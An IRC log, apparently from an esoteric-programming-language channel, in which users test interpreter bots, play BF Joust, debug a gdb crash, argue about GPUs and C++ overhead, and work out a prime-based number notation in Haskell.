08:00:00 -!- clog has joined. 08:05:00 -!- impomatic has joined. 08:36:23 -!- coppro has quit (Read error: 110 (Connection timed out)). 09:12:15 -!- impomatic has left (?). 09:26:00 -!- calamari has quit ("Leaving"). 09:38:11 -!- kar8nga has joined. 09:54:44 -!- tombom has joined. 10:20:07 -!- ais523 has joined. 10:25:10 -!- BeholdMyGlory has joined. 10:30:16 -!- inurinternet has joined. 10:32:53 -!- M0ny has joined. 10:47:04 -!- kar8nga has quit (Remote closed the connection). 11:04:41 -!- kar8nga has joined. 11:06:08 -!- kar8nga has quit (Remote closed the connection). 11:07:02 -!- M0ny has quit (Read error: 60 (Operation timed out)). 11:14:04 -!- M0ny has joined. 11:14:58 -!- FireFly has joined. 11:27:06 -!- BeholdMyGlory has quit (Remote closed the connection). 11:27:22 -!- BeholdMyGlory has joined. 11:44:42 -!- Gracenotes has quit (Read error: 104 (Connection reset by peer)). 12:05:14 -!- Feuermonster has joined. 12:07:23 -!- M0ny has quit ("reboot"). 12:08:43 -!- Feuermonster has quit ("Lost terminal"). 12:09:45 -!- M0ny has joined. 12:15:25 -!- inurinternet has quit (No route to host). 12:51:46 -!- ais523 has quit (Remote closed the connection). 12:55:40 I am Heron of Alexandria. I have a large baerd and I create matematical formluas. If you don't repost this comment on 10 other pages, I will use my primitive steam engine to induce mold in your walls. 13:05:46 -!- KingOfKarlsruhe has joined. 13:17:49 -!- kar8nga has joined. 13:28:07 -!- tombom has quit ("Peace and Protection 4.22.2"). 13:37:42 -!- jix has joined. 13:54:25 -!- kar8nga has quit (Remote closed the connection). 14:05:01 -!- sundar has joined. 14:22:30 -!- Sgeo has joined. 14:22:35 -!- asiekierka has joined. 14:22:36 Hi 14:22:46 hi 14:25:53 I'm making a BF interpreter for the C64 14:29:34 -!- FireyFly has joined. 14:33:08 also, found a GREAT randomizing routine that uses the C64 clocks 14:33:15 it was from boulderdash 14:33:19 slightly fixed by someone 14:34:25 and a 15-byte multiplication routine 14:34:32 not like I'll use it but hey, a great find 14:38:39 -!- oerjan has joined. 14:40:56 !slashes http://oerjan.nvg.org/esoteric/slashes/counter3.sss 14:41:02 * 14:41:14 still no DCC :( 14:41:46 !help 14:41:47 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 14:42:01 !chiqrsx9p 9 14:42:26 * oerjan thinks EgoBot must be ill 14:42:36 !chiqrsx9p hqhq 14:43:04 !show chiqrsx9p 14:43:05 perl (sending via DCC) 14:43:34 !perl print "Hi!" 14:43:35 Hi! 14:44:11 looks like it may have trouble with the userinterps 14:44:17 !show rot13 14:44:18 bf (sending via DCC) 14:45:31 !rot13 sheesh! 14:45:32 furrfu! 14:45:45 !chiqrsx9p hq 14:46:31 !rot13 http://oerjan.nvg.org/ 14:46:32 14:46:48 now _that_ used DCC 14:47:11 it seems it is having trouble with the perl userinterps 14:47:20 maybe it's connected to the \ problem... 14:47:45 !perl print "Hi\tthere!" 14:47:46 Hithere! 14:48:26 !yodawg `.i`.Hi 14:48:26 Hi 14:49:51 !ook ++++++++[>++++++++<-]>. 14:49:52 @ 14:50:07 that also uses perl iirv 14:50:10 *iirc 14:50:15 !show ook 14:50:16 perl (sending via DCC) 14:51:05 -!- jix has quit (Read error: 113 (No route to host)). 14:51:51 !chiqrsx9p h 14:51:52 Hello, world! 14:51:56 oh 14:52:13 !chiqrsx9p hq 14:52:28 !chiqrsx9p q 14:52:34 !chiqrsx9p hhh 14:52:37 weird 14:52:46 Maybe it's the interp for "hello" 14:52:51 !chiqrsx9p h h h 14:53:07 i don't think spaces are legal 14:53:14 i tried 14:53:19 to make it work 14:53:20 q alone didn't work 14:53:47 there's no separate interpreter for h, it's one perl program 14:55:14 !delinterp slashes 14:55:15 Interpreter slashes deleted. 14:55:44 !addinterp slashes http://oerjan.nvg.org/esoteric/slashes/slashes-int 14:55:44 Interpreter http___oerjan_nvg_org_esoteric_slashes_slashes_int does not exist! 14:55:54 !addinterp slashes perl http://oerjan.nvg.org/esoteric/slashes/slashes-int 14:55:55 Interpreter slashes installed. 14:56:24 !slashes http://oerjan.nvg.org/esoteric/slashes/counter3.sss 14:56:25 * 14:56:37 nope, no difference 14:56:40 !slashes http://oerjan.nvg.org/esoteric/slashes/counter3.sss 14:56:54 ...eeeh 14:57:03 what? 14:57:12 i thought it'd do something 14:57:31 it should give you a growing triangle of asterisks 14:57:39 i got only one * 14:57:53 here it did nothing 14:57:54 also 14:57:58 it should initate a DCC chat 14:58:02 and output the rest there 14:58:46 -!- M0ny has quit (Read error: 110 (Connection timed out)). 14:59:10 i know 14:59:14 it used to 15:05:26 -!- Corun has joined. 15:19:06 -!- jix has joined. 15:24:15 -!- sundar has quit (Read error: 110 (Connection timed out)). 15:29:33 -!- Corun has quit ("Leaving..."). 15:42:00 -!- FireFly has quit (Nick collision from services.). 15:42:02 -!- FireyFly has changed nick to FireFly. 15:42:21 * oerjan swats FireFly -----### 15:42:29 :) 15:43:03 these bugs are getting darn tough, just smiling at my swatter! 15:47:18 -!- GregorR-L has quit (Read error: 60 (Operation timed out)). 15:48:31 Tough luck, oerjan 15:52:24 that's evolution for you 16:00:41 -!- ehird has left (?). 16:00:48 -!- ehird has joined. 16:06:41 I SO want to make homebrew for... guess what 16:06:45 the Magnavox Odyssey (original) 16:07:37 sadly I can only use an emulator because the cheapest Odyssey I've found is selling at $142,50 US dollars! 16:10:24 Ok, found a SLIGHTLY cheaper one, $99 dollars 16:10:34 but the shipping is still $52,75! 16:14:46 00:53 pikhq: ehird: By "coordinate", I mean convince AMD that it's a good idea at the same time you convince Intel it's a good idea. ←o 16:15:28 00:54 bsmntbombdood: gpus don't count ← why not 16:18:21 http://upload.wikimedia.org/wikipedia/commons/8/88/Itanium_Sales_Forecasts_edit.png ← i like to think this is counting total sales 16:18:28 OVER 35 SALES OF ITANIUM 16:22:28 hi ehird 16:22:36 hi 16:27:20 i want to make homebrew for the Magnavox Odyssey, the only video game consoles that didn't have sound and graphics 16:27:51 it had two dots and no rules, just cartridges... well, we would call them configuration sets nowadays :P 16:29:25 ehird: because we were tlaking about x86 replacements 16:29:50 bsmntbombdood: and? 16:29:53 a gpu is quite viable for that 16:29:58 no, it's not 16:29:59 look at the multicore explosion 16:30:01 that's crazy talk 16:30:09 gpu are extremely specialized 16:30:10 whatever you say, bsmntbombdood. 16:30:16 bsmntbombdood: tell that to cuda 16:30:27 ever actually looked at cuda? 16:30:40 it's not something you can run firefox on 16:31:14 no shit 16:31:27 bsmntbombdood: i'd be willing to wager you could do rendering on a gpu, though 16:31:42 "rendering on a gpu" 16:32:01 website 16:32:02 rendering. 16:32:03 that's what a gpu is intended for 16:32:06 gecko. webkit. 16:32:12 i was responding to your firefox claim. 16:32:15 oh, that's not even slow though 16:32:46 bsmntbombdood: what 16:32:49 i mean 16:32:52 not the displaying to screen 16:32:54 the actual rendering 16:32:58 rendering html 16:33:05 bsmntbombdood: and don't fucking say it's not slow, go compare curl and firefox sometime 16:33:13 rendering is a huge bottleneck 16:34:21 and it only uses a single thread 16:35:04 bsmntbombdood: multithread it, oh, 8 times 16:35:12 then multithread it a goddamn bajillion times on a gpu 16:35:19 i'll bet $10000000000000000000000000000000000000000000000 the gpu kicks its ass 16:35:48 multithreading it 8 times is a million times easier than 'multithreading' it for a gpu 16:36:02 that's a limitation of languages 16:36:47 no, it's a limitation of reality 16:36:55 some thing are not parallel 16:37:25 web rendering is not among them 16:37:35 cool i've gotten myself into one of those arguments where both side just asserts shit 16:37:46 these are always (a) fun, (b) productive 16:41:03 http://www.reddit.com/r/programming/comments/8gkzd/does_anyone_know_cuda_whats_the_best_way_to_learn/c097uue 16:42:29 bsmntbombdood: note— by gpus replacing x86 i do not mean in their exact current form. 16:46:14 -!- jix has quit (Read error: 113 (No route to host)). 16:53:13 -!- oerjan has quit ("leaving"). 17:15:15 -!- M0ny has joined. 17:17:54 -!- impomatic has joined. 17:20:36 -!- Sgeo has quit (Read error: 54 (Connection reset by peer)). 17:38:53 -!- KingOfKarlsruhe has quit (Remote closed the connection). 17:47:11 -!- pikhq has joined. 17:48:40 hm where is ais when you need him 17:50:01 Doing other things 17:51:41 Hmmm... 17:59:59 Any news on the BF Joust hill? When it will be modified to keep the best programs. 18:01:26 When GregorR wakes up? 18:02:20 Ah, okay :-) 18:14:01 -!- Corun has joined. 18:32:09 -!- psygnisfive has joined. 18:41:16 -!- BeholdMyGlory_ has joined. 18:41:35 -!- BeholdMyGlory has quit (Nick collision from services.). 18:41:38 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 18:43:13 great.... gdb itself segfaulting trying to print backtrace of segfaulted C++ program 18:46:08 -!- Taejo has joined. 18:48:37 AnMaster: attach a gdb to gdb 18:48:41 you may need the Xzibit Edition 18:49:04 "Xzibit"? 18:49:06 comes with free matryoshka doll 18:49:12 and yes I tried gdb on gdb 18:49:14 AnMaster: you have the memory of a sieve 18:49:17 it segfautled in vprintf 18:49:31 (gdb) bt 18:49:32 #0 _IO_vfprintf_internal (s=, format=, ap=) at vfprintf.c:198 18:49:32 #1 0x000000304ca6e60a in _IO_vsnprintf (string=, maxlen=, format=, args=) 18:49:32 at vsnprintf.c:120 18:49:32 #2 0x000000000044ba25 in xsnprintf () 18:49:37 #3 0x000000000044bf79 in ?? () 18:49:45 and then about 50 more frames 18:49:48 (!) 18:49:56 #8 0x000000000054eebc in cp_print_value_fields () 18:49:56 #9 0x000000000054f1a7 in cp_print_value_fields () 18:49:59 and so on 18:50:09 seems to call itself body recursive quite a lot 18:51:22 Wow. 18:51:29 I'm impressed. 18:52:28 And I'm giggling. :) 18:55:21 !bfjoust taejo_simplexity (>->+)*5[[-]>-] 18:55:24 Score for taejo_simplexity: -2 (maximum 11) 18:57:38 -!- BeholdMyGlory has quit (Remote closed the connection). 18:57:59 -!- BeholdMyGlory has joined. 18:58:28 -!- jix has joined. 19:00:47 pikhq, impressed by what 19:02:19 Taejo: I recommend to use -- and ++ 19:02:25 and not - and + 19:02:39 or both 19:02:48 ... why 19:03:46 because for example 19:03:59 my Joust program is specifically made to beat the + part of it 19:04:06 change it to ++ and my program will fail 19:05:21 asiekierka: but then you can just change *your* program to beat mine 19:05:55 by alternating, neither opposing strategy is clearly victorious 19:06:15 btw, any idea why my programs aren't showing up on the report? 19:07:59 -!- Judofyr has joined. 19:08:58 AnMaster: Crashing GDB. 19:09:50 Taejo: they're too good 19:09:52 see: bug 19:09:56 pikhq, ah. It was a C++ program... I guess that could have affected it 19:10:14 AnMaster: Still impressive. 19:10:14 also... when I recompile that C++ program at -O0, it no longer crashes... HATE HATE HATE 19:10:27 STAB STAB STAB 19:10:33 Woo, optimization changing behaviour. 19:10:36 Gcc does that very often. 19:10:43 ehird, G++ even mroe so 19:10:50 *optimizations, *GCC 19:10:51 AnMaster: Yeah. 19:10:56 g++ is really not a very good compiler. 19:11:08 ehird, does clang + LLVM? 19:11:14 pikhq: dunno 19:11:21 clang/llvm are generally more rigorous than gcc 19:11:24 so i'd expect less so 19:11:41 even worse... Half of the comments/types/function names in the code are in English, half in German 19:11:43 I suspect that that alone may be cause for clang/llvm to replace GCC. 19:11:47 The problem with C++ compilers is that the language is such a goddamn pain and takes so long to implement that by the end you're asking for money just to heal your wounded soul. 19:12:13 So if there's an open C++ compiler, by definition the authors' souls are intact, and therefore it must be bad. 19:12:14 True enough. C++ is an abomination. 19:12:31 (Authors'. No one man could create a C++ compiler.) 19:12:32 And it's such a shame that we use C++, and not Objective C. 19:12:44 apart from maybe walter bright 19:12:48 pikhq: obj-c has a large runtime overhead 19:12:50 who 19:12:54 and what about cfront 19:12:54 it's effectively a dynamic smalltalk object system 19:13:03 AnMaster: creator of Digital Mars C/C++ compiler, and D 19:13:08 ah... 19:13:13 and C++ back then was nothing like what it was today 19:13:24 AnMaster: he's the origin of that quote saying that a new C++ compiler would take ~15 years 19:13:27 ehird: ... Compared to C++? 19:13:38 pikhq: wut? 19:13:39 C++ has a ridiculous overhead these days. ;p 19:13:43 C++ has no dynamic overhead for most features 19:13:50 for instance, none if you just use classes and methods 19:13:50 Granted, most of that isn't dynamic. 19:13:52 if you use those in obj-c? 19:13:55 gigantic overhead batman 19:14:00 ehird, ah 19:14:11 That's just a large bunch of assembly, rather than runtime library stuff. 19:14:44 pikhq: Oh, no. 19:14:49 pikhq: Look up an objective-c method lookup sometime. 19:14:52 Here's a hint: 19:14:54 [a b: c d: e] 19:14:56 goes something like 19:15:01 sendmsg(a,"b:d:",c,e); 19:15:06 No, I mean C++'s overhead is a large bunch of assembly, rather than runtime library stuff. 19:15:10 ah 19:15:13 I'm talking about efficiency 19:15:18 FUN. Now the GUI shows up in a mix of German, English, and internal variable names... Independent of the language I select in the startup menu 19:15:21 a method call in obj-c is very expensive. in C++? 0 overhead 19:15:21 -_- 19:15:27 Objective C has a lot of overhead, but it's not an abomination. 19:15:38 ;) 19:16:23 pikhq: right, it's just e.g. Factor moved to C++ recently, only using non-overheading features; couldn't do that with objc 19:16:40 Actually in this program overhead would be bad. It is a "real time" simulation game... But C++ still has quite a bit of overhead... 19:16:47 (compared to plain C) 19:16:52 only some features 19:17:02 AnMaster: You're better off doing psuedo-OO with structs. :p 19:17:04 ehird, virtual functions for example 19:17:05 just defining a class, having some methods, a few templates, a namespace here and there, some references... 19:17:07 no overhead 19:17:11 virtual functions, yes, overhead 19:17:13 pikhq, yes, it is more readable, and easier to maintain too 19:17:17 but the overheading features are in the minority 19:17:49 Unable to load any language files 19:17:49 pikhq: OO structs in C would work if not for one thing: 19:17:50 *** PLEASE INSTALL PROPER BASE FILES *** 19:17:52 great... 19:17:56 what is the timestep limit on bfjoust matches? 19:18:01 (a) ONE WORD THE FORCED CASTING OF SUBCLASSES THREAD OVER, 19:18:06 (b) obj->foo(obj 19:18:06 (why on earth, and how on earth) 19:18:20 Taejo: like 3 seconds 19:18:29 on a vps server thingy. 19:18:43 ehird: so it's a realtime limit rather than a number of steps? 19:18:51 no, i think its a number of steps 19:18:57 but if it's 3 seconds, that's either 19:19:00 (a) a bloody lot of steps, or 19:19:04 (b) a very slow interpreter 19:19:09 *it's a 19:19:30 I think we can all agree that there's nothing worse in C-with-objects land than GObjects. 19:19:56 pikhq: oh, god. 19:19:59 Why did you have to say that? 19:20:03 Those memories... therapist... 19:20:07 Shattered... 19:20:12 * ehird gibbers 19:20:30 pikhq: Thanks, you just cost me $5,000 for another therapist. 19:20:40 -!- tombom has joined. 19:21:04 * pikhq gets a vat of brain bleach out 19:21:44 pikhq: btw, you can actually do struct-objects where obj->foo() works 19:22:00 By patching some padded nops in the native code to push the object in question, when you allocate it. 19:22:01 >:) 19:22:39 ehird: Or alternately, store function pointers in the struct. ;) 19:22:50 pikhq: ...er, that's how obj->foo(obj,...) works 19:22:55 I was extending it to remove the redundancy. 19:23:01 Ah. 19:23:02 By patching the native code pointed to by the function pointers. 19:23:06 To add obj as the first argument. 19:23:09 >:DD 19:23:11 LMAO 19:27:39 -!- psygnisfive has quit (Read error: 60 (Operation timed out)). 19:33:00 -!- inurinternet has joined. 19:36:32 -!- KingOfKarlsruhe has joined. 19:41:56 -!- ais523 has joined. 19:45:08 -!- KingOfKarlsruhe has quit (Remote closed the connection). 19:50:28 -!- ais523 has quit (Read error: 104 (Connection reset by peer)). 19:51:32 -!- ais523 has joined. 19:54:33 Someone commented on my blog to tell me off for censoring Brainfuck to Brainf***! :-) 19:55:36 heh 19:55:44 yes, the correct censorship is B****fuck, so as not to offend zombies 19:56:04 :-) 19:56:09 I once visited a forum that had phpBB censors set up so that fu*k, f***, f*ck etc all filtered to fuck 19:56:15 That was quite amusing 19:56:20 heh 19:56:58 impomatic: ooh, a new OISC? 19:56:59 I've just been banned from a forum that censored all words containing bat, power, cave, turnip 19:57:03 in the corewar instruction set? 19:57:05 brilliant 19:57:07 or BF is also fine, as thats a cross between a censorship and an abbreviation 19:57:13 impomatic: haha. why'd you get banned? 19:57:28 ais523: BFuck? 19:57:36 ehird: too long to type 19:57:44 bf is fine to just slip into the middle of a message 19:57:48 so I often use it on IRC 19:58:03 If[condition,t,f,u] 19:58:03 gives u if condition evaluates to neither True nor False. 19:58:04 —Mathematica 19:58:15 Mathematica. That's not how it works. 19:58:44 ehird: did you see my Agora post about VHDL booleans? 19:58:48 yes 19:58:58 do you better understand why they're 9-valued, now? 19:59:30 Bathroom would be censored to ***hroom. Batch to ***ch. It's amazing how many words contain bat. 19:59:40 what a silly filter 19:59:43 ehird: banned for complaining about censorship ;-) 19:59:44 why was it there? 20:00:01 ais523: amusement, I assume 20:00:03 impomatic: haha 20:00:11 i take it this forum has no serious topic :-) 20:00:31 The owner of the forum dislikes a couple of people online. On of the has a forum called Bat Cave. 20:00:32 what might be interesting would be a forum which censored every trademark in existence 20:00:45 impomatic: and the other one has a forum called power turnip? 20:01:38 A blog called Turnip of Power which is virtually devoted to discrediting the guy who runs the forum! 20:01:44 ah, aha 20:02:12 * ehird furiously googles 20:02:30 http://turnipofpower.com 20:02:53 agh! so many ads!! 20:03:15 Well he does run an ad network! 20:04:02 oh, we're talking about a spawn of a devil here 20:04:04 i se 20:04:04 e 20:04:10 *the devil 20:05:26 impomatic: so is the forum the forum of the ad network or something? 20:05:29 this is very complicated 20:06:48 I hate online politics. Bloggers are always falling out. The forum is http://forums.entrecard.com - another ad network, but the forums used to be pretty active with general blogging chat. 20:07:00 impomatic: politics everywhere tends to be bad 20:07:11 blogs are inherently very egotistical 20:07:21 so it's not surprising that they're all arguing :) 20:07:26 except games specifically based around politics 20:07:32 where it can be enjoyable if nobody takes it seriously 20:07:41 ehird: incidentally, has the hill been fixed yet? 20:07:43 ais523: nope 20:07:43 or is it still backwards? 20:07:51 it's sdrawkcab 20:08:40 impomatic: so wait this forum for bloggers deliberately censors these words for no reason? 20:08:47 i'd expect that more on a forum about random pointless stuff 20:11:06 ehird: it censors them because Graham who runs the forum doesn't want anyone to mention the forum / blog of the guys he doesn't like 20:11:20 oh 20:11:25 what a terribly bruteforce way of doing that 20:13:07 The unfortunate side effect is quite a few posts have censored words because they contain bat. It's pointless. 20:13:45 They even banned someone for tweeting something a negative comment! 20:13:58 power mad 20:14:04 has the owner of the blog never heard of the Streisand effect? 20:14:16 I'm sure it wouldn't take too much searching to figure out what he was trying to censor 20:14:24 and the words being censored would be noticed pretty quickly 20:14:26 the Corsair (company that makes RAM/PSUs etc) forums censor the URLs and names of competing companies, so you go around seeing people saying loads of asterisks and stuff while trying to explain their previous hardware, what corsair components they replaced them with, the problems, etc 20:14:31 it's crazy ridiculous 20:14:36 ais523: forum, not blog 20:14:43 sorry 20:14:53 also, what about people using leet-speak to get around the filters? 20:14:57 it was invented for that purpose, after all 20:15:05 are you sure? 20:15:10 1337speak predates filters, I'm pretty sure 20:15:12 not sure, but I think so 20:15:58 http://programminghumor.blogspot.com/2009/05/introducing-nazicard.html 20:16:17 "Leet originated within bulletin board systems in the 1980s,[1][2] where having "elite" status on a BBS allowed a user access to file folders, games, and special chat rooms. One theory is that it was developed to defeat text filters created by BBS or Internet Relay Chat system operators for message boards to discourage the discussion of forbidden topics, like cracking and hacking.[1] However, creative misspellings and ASCII- 20:16:17 art-derived words were also a way to attempt to indicate one was knowledgeable about the culture of computer users." 20:16:27 Taejo: hmkay 20:16:36 impomatic: :D 20:17:04 "All members are now required to express their love of Nazicard." 20:17:14 "He loved Nazicard." 20:21:08 impomatic: since you're a corewar/bfjoust person... any idea how a Haskell warring-programs game would work? I can't think of a way to harness the purely-functionality :-P 20:24:49 I haven't got much experience with funtional programming. There was a comment asking about a Haskell programming game wasn't there? 20:24:56 (on Reddit) 20:25:37 There a paper about a game called Struggle, not sure how well that would work. 20:26:35 Mm... 20:26:44 Perhaps something like: 20:26:56 let ares = proga bres; bres = progb ares 20:27:03 Then they both get the results of each other, lazily evaluated 20:27:49 Would this work? http://pagesperso-systeme.lip6.fr/Christian.Queinnec/Papers/strugman.ps.gz 20:28:59 impomatic: No. "rplaca and rplacd􏰉" 20:29:01 It's imperative 20:29:11 Not purely functional; ordered, destructing operations. 20:29:19 Ah okay. 20:32:51 even impurely functional would give more of a clue about how purely functional would work 20:33:00 although I do have an idea for how to do a purely functional programming game 20:33:03 not really 20:33:08 impurely functional is just restricted imperative 20:33:09 although it wouldn't work much like corewar or BF Joust 20:33:20 -!- jix has quit ("leaving"). 20:33:24 the idea is, each program has code, and data 20:33:36 and it has to try to recognise its data, as opposed to data produced by the opposing program 20:33:39 and give a true/false 20:33:48 each program can inspect a sample of its opponent's data 20:34:03 it's opponent's "stock" data, as it were 20:34:17 and has to create a modified version that will fool its opponent, but that it itself recognises as its own 20:34:22 as well as recognising its own stock data 20:34:44 so the idea would be to try to sneak contraband data past the opponent, whilst being able to recognise it yourself 20:35:08 -!- inurinternet has quit (No route to host). 20:35:29 (comparing functions is an uncomputable task, I'd imagine this for a lang something like Lazy Bird where everything is a function, so the problem is, in the absence of an ability to compare functions, how do you probe them to see what they do?) 20:36:02 I'm not quite sure how to handle infinite loops; maybe timing out loses you points, so you could try to create killer packets that would send your opponent into a loop, but not you 20:36:05 but that might be too easy 20:36:23 -!- coppro has joined. 20:43:50 -!- ais523 has quit (Remote closed the connection). 20:57:07 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 20:58:38 GregorR: you haven't fixed bfjoust yet? :( 21:12:38 -!- BeholdMyGlory_ has joined. 21:28:00 -!- BeholdMyGlory has quit (Read error: 110 (Connection timed out)). 21:28:25 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 21:29:29 -!- asiekierka has quit (Read error: 110 (Connection timed out)). 21:55:37 -!- Corun_ has joined. 22:11:44 -!- Corun has quit (Read error: 110 (Connection timed out)). 22:37:08 -!- olsner has joined. 22:52:35 -!- oerjan has joined. 23:02:28 -!- Judofyr has quit (Read error: 60 (Operation timed out)). 23:02:44 -!- tombom has quit ("Peace and Protection 4.22.2"). 23:04:56 -!- Judofyr has joined. 23:07:04 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 23:11:19 -!- FireFly has quit ("Later"). 23:11:54 -!- BeholdMyGlory has quit (Read error: 104 (Connection reset by peer)). 23:12:41 hi oerjan 23:12:50 hi ehird 23:12:58 hi oerjan 23:13:07 hi ehird 23:13:11 hi oerjan 23:13:13 hi ehird 23:13:15 hi oerjan 23:13:17 hi ehird 23:13:19 hi oerjan 23:13:20 hi ehird 23:13:22 hi oerjan 23:13:32 ^ul ((hi ehird )S:^):^ 23:13:33 hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird hi ehird ...too much output! 23:13:43 ^ul ((hi oerjan )S:^):^ 23:13:44 hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi oerjan hi o ...too much output! 23:14:33 and thus time passes 23:14:46 dude you ruined it 23:14:47 lame 23:15:09 no you ruined it, you cut off my name 23:15:26 *BWAHAHAHA* 23:15:31 :(( 23:15:32 fungot did that 23:15:33 ehird: why not? 23:15:39 fungot: F.U. 23:15:40 ehird: he fixed it a bit, but then i need to do 23:21:02 [0,1,0,1,1,1,[1,0,[0,1]],[1,2,1]] 23:21:23 How you write the number 1,000,000 when you don't really care whether people understand you or not. 23:21:29 ah 23:21:38 kerlo: seen the recent /// developments? 23:21:54 oerjan: I've seen that non-trivial infinite loop that makes it probably TC. 23:22:06 kerlo: e implemented BCT. 23:22:07 there is mor now 23:22:10 Thus proving it TC. 23:22:11 *more 23:22:23 -!- impomatic has left (?). 23:24:55 kerlo: also, characters other than / and \ really _are_ unnecessary :) 23:26:39 also, how the heck is that 1,000,000 23:31:44 -!- Judofyr has quit (Remote closed the connection). 23:56:25 -!- pikhq has joined. 23:56:59 Delicious, delicious waffles. 23:59:06 -!- MizardX has quit (Read error: 104 (Connection reset by peer)). 23:59:10 -!- MizardX has joined. 23:59:43 oerjan: the same way that 1,000,001 is [1,2,1,2,2,2,[0,1,0],[0,0,2]]. 2009-05-25: 00:02:22 hm and both are unique representations? 00:03:28 Every representation has exactly one corresponding number. Every number has exactly one corresponding canonical representation. 00:03:39 ic 00:03:56 Where "canonical representation" is a representation in which 0, 1 and 2 are represented as themselves, and "number" means "non-negative integer". 00:04:26 i am sort of guessing that the nested lists are just representations of numbers other than 0,1,2 00:04:31 Anyway, 1,000,002 is [0,0,2,[1,0],[1,0],[1,0],[1,2,1],[1,1,[1,0]]]. 00:05:22 they don't seem to have much in common... let me try a bit 00:05:34 Given this, you should be able to figure out how the representation works. 00:07:05 -!- MizardX has quit (Read error: 104 (Connection reset by peer)). 00:07:08 -!- MizardX has joined. 00:07:42 For some values of "should". 00:14:51 * oerjan gets an idea 00:21:39 -!- Gracenotes has joined. 00:25:35 Main> Repr 1000002 00:25:35 [0,0,2,[1,0],[1,0],[1,0],[1,2,1],[1,1,[1,0]]] :: Repr 00:26:29 Main> Repr 123456789 00:26:29 [1,0,[0,1],1,[1,2],1,1,[0,2,[0,1]],[1,2,1]] :: Repr 00:41:38 So, what's your idea? 00:42:10 I'm doing all these by hand, and I'd rather check your idea than your representation. :-P 00:42:34 I guess i've left out part of the "canonical representation" thing. The other part is that all lists be as short as possible. 00:45:00 yeah i figured 00:45:28 anyway, modulus with the list of primes, take until no smaller number gives the same list 00:46:30 equivalently, until the product of the primes so far > the number 00:47:34 * oerjan handily already has primes = ... in his haskell scratch file 00:51:08 * kerlo nods 01:11:27 -!- olsner has quit ("Leaving"). 01:16:10 -!- Taejo has quit ("Leaving"). 01:45:01 -!- psygnisfive has joined. 01:55:53 Main> toInteger [0,0,2,[1,0],[1,0],[1,0],[1,2,1],[1,1,[1,0]]] 01:55:53 1000002 :: Integer 01:55:58 * oerjan cackles evilly 01:56:14 kerlo: ^ 01:57:38 i don't get it 01:57:52 hideous type class abuse 01:58:00 That does sound hideous. 01:58:13 Is toInteger entirely of your own invention, not a class function? 01:58:15 to make numerals give lists 01:58:24 no, toInteger is a class function 01:58:36 Of Integral? 01:58:38 yes 01:59:16 So [something] is an instance of Num... 01:59:30 and Real, Enum, and Integral 01:59:32 And it looks like something = [something]. 01:59:44 yeah 01:59:54 That's possible? type Something = [Something]? 01:59:58 no 02:00:13 it's just the typed representation that is equal 02:00:16 You can't even use synonyms in instance declarations, can you. 02:00:27 So what is something, here? 02:00:30 not in pure Haskell 98 anyway 02:01:03 kerlo: because i only use standard typeclasses, defaulting makes sure that the bottom level becomes Integer automatically 02:01:20 so that is [[[Integer]]] up there 02:01:24 Cruel. 02:01:44 So you must have something like instance Num a => Num [a]. 02:02:02 and also Real, Enum, and Integral 02:02:12 only fromInteger and toInteger are actually defined 02:03:51 fromInteger n = [n',n'] where n' = fromInteger n, so it doesn't really work beyond 5 i think 02:04:47 i could "fix" that easily though 02:05:06 and toInteger = unrepr . map toInteger 02:05:17 where unrepr is the function doing the actual work 02:22:37 -!- Corun_ has changed nick to Corun. 02:26:28 Why can't you use whatever you used in Show Repr for fromInteger? 02:27:22 because that recursed on the parts, but i could extract the relevant bit 02:32:45 now it works 02:36:48 -!- Corun has quit ("Leaving..."). 03:14:18 -!- psygnisfive has quit (Read error: 113 (No route to host)). 03:16:58 -!- psygnisfive has joined. 03:32:39 -!- sebbu has joined. 03:47:16 -!- sebbu2 has quit (Read error: 110 (Connection timed out)). 04:07:15 -!- oerjan has quit ("leaving"). 04:58:45 -!- Patashu has joined. 05:38:27 -!- bsmntbombdood has quit (Read error: 113 (No route to host)). 05:42:32 -!- bsmntbombdood has joined. 06:22:00 Do you know where your towel is? 06:22:26 it's in my bathroom 06:25:37 Patashu: Wrong answer. 06:25:49 Be a hoopy frood. 06:58:34 i have a towel 07:00:36 NO EXCEPTIONS! 07:04:41 -!- psygnisfive has quit ("Leaving..."). 07:48:36 -!- coppro has quit (Read error: 110 (Connection timed out)). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:28:46 -!- asiekierka has joined. 08:28:48 hi 08:28:58 what's red...dit? 08:29:20 ^style 08:29:20 Available: agora alice c64 darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp youtube 08:29:25 ^style youtube 08:29:25 Selected style: youtube (Some YouTube comments) 08:29:28 fungot: Are you a jerk? 08:29:29 asiekierka: i think the lizzard one was on thr rright approach to land...someone decided to roll up all my pennies tonight because as everyone seems to be the right ball park however, this was at and all. 08:29:44 fungot: What pennies? 08:29:44 asiekierka: the poor people....did any1 survive? 08:29:52 fungot: Yeah, but that's not the point. 08:29:53 asiekierka: omg! he sounds like woman xd and ew to the ground.he lost site of the air bus... spicy!! wtf? 08:30:04 fungot: What? Women? 08:30:05 asiekierka: i believe they disrespected bob dylan and a longer runway. i'd like to hear him sing something rock-ish but i loved max payne 3 ( true that jaybedwetter, smoznijism and lamewaring are still down) the whole incident by removing the flight the autopilot master control would probably grow ten fold. 08:30:11 fungot: *sigh* 